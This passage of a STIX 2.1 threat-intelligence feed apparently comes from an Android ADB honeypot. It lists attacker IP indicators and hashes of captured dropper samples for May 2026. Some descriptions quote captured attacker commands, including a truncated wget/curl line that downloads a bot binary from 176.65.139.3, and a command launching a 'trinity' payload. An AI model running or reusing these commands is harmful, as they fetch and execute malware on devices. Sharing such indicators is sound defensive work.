          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-25T18:36:18.000Z",
          "last_seen": "2026-05-25T18:47:48.530Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T20:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-25T19:59:54.000Z | last_seen=2026-05-25T20:00:58.887Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--dcb6508e-6da9-49be-b325-8dfefb6ec3eb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '159.89.50.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:00:05.000Z",
      "valid_until": "2026-06-26T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-25T19:59:54.000Z",
          "last_seen": "2026-05-25T20:00:58.887Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T20:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-25T19:35:49.000Z | last_seen=2026-05-25T19:37:14.576Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--49696639-276e-44dd-ba45-b24616a9d591",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:00:05.000Z",
      "valid_until": "2026-06-26T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-25T19:35:49.000Z",
          "last_seen": "2026-05-25T19:37:14.576Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T20:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=ER; asn=19318; asn_org=Interserver, Inc; adb_cmd_hits=0; cmd=\">/data/local/tmp/.gtconfig && cd /data/local/tmp; >/sdcard/0/Downloads/.gtconfig && cd /sdcard/0/Downloads; >/storage/emulated/0/Downloads && cd /storage/emulat\"\n\nObserved in ADBHoney telemetry for 2026-05. events=57 | first_seen=2026-05-25T19:34:58.000Z | last_seen=2026-05-31T21:00:24.896Z | ports=5555 | cc=ER | asn=19318 | org=Interserver, Inc",
      "id": "indicator--20fdcd5b-8c3b-4895-8230-00e06d6ba4bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.239.151.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:00:05.000Z",
      "valid_until": "2026-06-26T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 57,
          "first_seen": "2026-05-25T19:34:58.000Z",
          "last_seen": "2026-05-31T21:00:24.896Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ER"
          ],
          "asn": [
            "19318"
          ],
          "org": [
            "Interserver, Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T20:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/ca752a158c7e37696137bfead3e8427b40035f6cbfbef45cf27d9089e2408898.raw; last_seen=2026-05-25T19:22:08.967Z",
      "id": "indicator--a0606779-27ca-4db8-a0fd-a7266bff304a",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'ca752a158c7e37696137bfead3e8427b40035f6cbfbef45cf27d9089e2408898']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T20:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/acf3ee3fd34bb1c8d29664a35ea7cfc9d39bd5b678e980c57872e09ef0df0da1.raw; last_seen=2026-05-25T19:35:00.770Z",
      "id": "indicator--1a3faf36-dc73-4826-99e5-8cfd09ba182a",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'acf3ee3fd34bb1c8d29664a35ea7cfc9d39bd5b678e980c57872e09ef0df0da1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T20:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/bb1d83bf2f3b09d9cd630ab0158b11c0dbced6df36d21a99e0ea723eda3bfd8c.raw; last_seen=2026-05-25T19:35:00.412Z",
      "id": "indicator--8329957d-a2d9-4487-9b48-4b1c64d18478",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'bb1d83bf2f3b09d9cd630ab0158b11c0dbced6df36d21a99e0ea723eda3bfd8c']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T20:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/d19fb8a6042e325e08713647f46e5ddf1d56e29a357594f0e313a5493db409ce.raw; last_seen=2026-05-25T19:35:00.132Z",
      "id": "indicator--968397d6-4f31-4c44-8235-505dd7b4d16b",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'd19fb8a6042e325e08713647f46e5ddf1d56e29a357594f0e313a5493db409ce']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T20:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/e82d0ea97861fe4efc9721ae95146aa14b2393a7b66110a4299e20b229d565d1.raw; last_seen=2026-05-25T19:34:59.902Z",
      "id": "indicator--248913b1-756c-42ae-96f2-41d94e6b2059",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'e82d0ea97861fe4efc9721ae95146aa14b2393a7b66110a4299e20b229d565d1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T20:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T22:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=61; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp; wget -q http://176.65.139.3/bot-armv7l -O .b 2>/dev/null || busybox wget -q http://176.65.139.3/bot-armv7l -O .b 2>/dev/null || curl -s http\"\n\nObserved in ADBHoney telemetry for 2026-05. events=220 | first_seen=2026-05-25T21:37:34.000Z | last_seen=2026-05-27T03:38:03.398Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--8f83b9fa-aa43-4ea6-8a3f-dd201401ef26",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T22:00:05.000Z",
      "valid_until": "2026-06-26T22:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 220,
          "first_seen": "2026-05-25T21:37:34.000Z",
          "last_seen": "2026-05-27T03:38:03.398Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T22:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=53667; asn_org=FranTech Solutions; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-25T21:04:10.000Z | last_seen=2026-05-25T21:05:17.626Z | ports=5555 | cc=US | asn=53667 | org=FranTech Solutions",
      "id": "indicator--7143af23-78f1-43cc-ab5c-68b455e5c80f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.185.118.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T22:00:05.000Z",
      "valid_until": "2026-06-26T22:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-25T21:04:10.000Z",
          "last_seen": "2026-05-25T21:05:17.626Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "53667"
          ],
          "org": [
            "FranTech Solutions"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T22:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/697e4904339fc76cc9879b7fdcd1d67d96654b33beb06769d92a78c8fa87f028.raw; last_seen=2026-05-25T21:37:58.653Z",
      "id": "indicator--206d25aa-b3a0-46aa-8cd9-8cb6d85cb876",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '697e4904339fc76cc9879b7fdcd1d67d96654b33beb06769d92a78c8fa87f028']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T22:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=20 | first_seen=2026-05-25T23:12:39.000Z | last_seen=2026-05-26T16:17:09.506Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--4eb411dc-e8a0-46e3-9208-27abdc9244ef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T00:00:03.000Z",
      "valid_until": "2026-06-27T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 20,
          "first_seen": "2026-05-25T23:12:39.000Z",
          "last_seen": "2026-05-26T16:17:09.506Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T01:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=13 | first_seen=2026-05-21T12:47:03.000Z | last_seen=2026-05-26T00:38:27.703Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2ae2a26c-2f47-4a53-93b1-7686e1979e49",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:00:07.000Z",
      "valid_until": "2026-06-27T01:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 13,
          "first_seen": "2026-05-21T12:47:03.000Z",
          "last_seen": "2026-05-26T00:38:27.703Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T01:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-21T12:45:23.000Z | last_seen=2026-05-26T00:37:21.381Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--4a5d70f4-373e-4ab6-979e-c1acf6e4143c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T01:00:07.000Z",
      "valid_until": "2026-06-27T01:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-21T12:45:23.000Z",
          "last_seen": "2026-05-26T00:37:21.381Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-26T04:22:27.000Z | last_seen=2026-05-26T04:23:32.702Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--1b5cf1f3-1e43-40fb-93b0-8497f54424dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T05:00:03.000Z",
      "valid_until": "2026-06-27T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-26T04:22:27.000Z",
          "last_seen": "2026-05-26T04:23:32.702Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T07:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=56; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=22; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=56 | first_seen=2026-05-26T06:28:33.000Z | last_seen=2026-05-26T06:45:32.537Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd. | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--9a3d7368-13fc-4d69-b743-b95534e4de85",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '112.28.245.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:00:07.000Z",
      "valid_until": "2026-06-27T07:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 56,
          "first_seen": "2026-05-26T06:28:33.000Z",
          "last_seen": "2026-05-26T06:45:32.537Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-26T07:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-26T06:57:12.000Z | last_seen=2026-05-26T07:07:29.831Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--2b11effe-e251-4f68-a594-220f653d4961",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.93.160.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T07:00:07.000Z",
      "valid_until": "2026-06-27T07:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
